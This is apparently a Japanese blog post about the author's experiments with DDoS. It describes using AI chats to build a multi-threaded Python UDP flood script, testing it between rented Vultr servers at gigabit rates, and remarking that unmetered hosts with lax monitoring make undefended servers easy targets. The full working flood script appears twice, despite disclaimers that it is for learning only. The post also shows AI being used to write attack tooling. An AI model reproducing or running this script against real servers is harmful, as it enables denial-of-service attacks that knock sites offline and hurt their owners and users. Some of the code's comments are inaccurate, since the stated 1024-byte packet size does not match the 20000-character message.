本文は、DDOS 攻撃の原理を学ぶためのものであり、他人のウェブサイトを攻撃する方法を教えるものではありません。
序文:#
以前、私はCC 攻撃の経験を記録しました。これは、私が初心者であり、AI を利用して簡単な CC 攻撃スクリプトを作成するためのコードを書くことができなかった経験を記録したものです。その後、このウェブサイトのオーナーとの間でいくつかの摩擦があり、彼から数日間 DDOS と CC 攻撃を受けましたが、最終的には何も起こらず、その後の展開もありませんでした。
今日のこの記事は、突然のアイデアで DDOS を試してみるものです。私は DDOS がターゲットサーバーに大量のリクエストを送信してサーバーを使用不能にすることを知っています。サーバーのリソースを消費し、サービスプロバイダーがサーバーの IP をブラックホールに入れることで、サーバーを攻撃する効果を達成します。
UDP、TCP、フラッド攻撃、アンプリファイド攻撃など、これらは聞いたことがありますが、実装方法や原理については詳しく調べたことはありません。Google で検索した結果は公式な説明であり、理解しにくいものでした。そこで、AI との対話を通じて実装原理を理解し、Python スクリプトを書いてテストしました。
コードのテスト:#
vultr で 2 つの同じ地域のサーバーを立ち上げ、両方とも CPU 最適化サーバーを使用しました。最初のコードテストでは、約 5m のトラフィックを生成し、後で 1000 の同時接続を追加しても 7m にしかなりませんでした。AI との対話で、パケットサイズを追加することでトラフィックのピークを達成できることがわかりました。
新しいコードテストを書いて、vultr のバックエンドで次のように表示されました:
サーバーは Gbps の効果を出しました。SSH 接続ツールで監視すると、ピーク時には上りが約 2G あります。攻撃対象のサーバーも実際にこのトラフィックを受け取りました。私はテストが終わったらすぐにサーバーを削除しました(公式にアカウントが停止されるのを恐れていますが、まだ 100 ドル以上の残高があります)。そのため、詳細なスクリーンショットはありません。
自分のサーバーを攻撃しましたが、一部のトラフィックは到着するとすぐに停止し、1 台のサーバーは攻撃できず、2 台のサーバーを同時に攻撃すると停止しました。2 台のサーバーを SSH 接続ツールで監視すると、上りが 3〜5G あります。わずかなテストの間に数百 G のトラフィックが消えてしまいました。また、以前に購入した香港の BPG サーバーは公式には 500M の帯域幅があると言われていますが、実際には下りで 500M に近く、上りでは 2000M 以上になることもあります。これらのサーバーを持っている場合、または ColoCrossing のようなトラフィック制限のないサーバーを持っている場合、サービスプロバイダーの監視が緩い場合、防御のないまたは低い防御のサーバーを簡単に攻撃することができます。
コードの掲示:#
注意⚠️:このコードは DDOS 攻撃の原理を学ぶためにのみ使用し、自分自身で攻撃を研究することを目的としています。違法な行為には使用しないでください。他人のウェブサイトを攻撃するために使用しないでください。
SEO の観点から見ても、または一部の公益または収益を上げるウェブサイトの場合、ウェブサイトの安定性は非常に重要です。川岸を歩く者は靴が濡れることがあります。違法な行為をすることはお勧めしません。
import socket
import threading
import time
def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes_to_send = message.encode('utf-8')
end_time = time.time() + duration
print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
def send_udp():
while time.time() < end_time:
sock.sendto(bytes_to_send, (target_ip, target_port))
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=send_udp)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
print("Attack finished.")
target_ip = "127.0.0.1" # 目標のIPアドレス
target_port = 80 # 目標のポート
message = "A" * 20000 # 送信するメッセージ(1024バイトのデータパケット)
duration = 100 # 持続時間(秒)
num_threads = 10 # 並行スレッド数
packet_size = 1024 # 各UDPデータパケットのサイズ(バイト)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
上記は複数行とコメントを削除したものです。使用できない場合は、AI が提供した元のコードを使用してください。
import socket
import threading
import time
def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Encode the message into bytes
bytes_to_send = message.encode('utf-8')
# Get the current time
end_time = time.time() + duration
print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
# Define the function to send UDP packets
def send_udp():
while time.time() < end_time:
sock.sendto(bytes_to_send, (target_ip, target_port))
# Start multiple threads to send UDP requests
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=send_udp)
thread.start()
threads.append(thread)
# Wait for all threads to finish
for thread in threads:
thread.join()
print("Attack finished.")
# Configure the attack parameters
target_ip = "127.0.0.1" # 目標のIPアドレス
target_port = 80 # 目標のポート
message = "A" * 20000 # 送信するメッセージ(1024バイトのデータパケット)
duration = 100 # 持続時間(秒)
num_threads = 10 # 並行スレッド数
packet_size = 1024 # 各UDPデータパケットのサイズ(バイト)
# Launch the attack
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)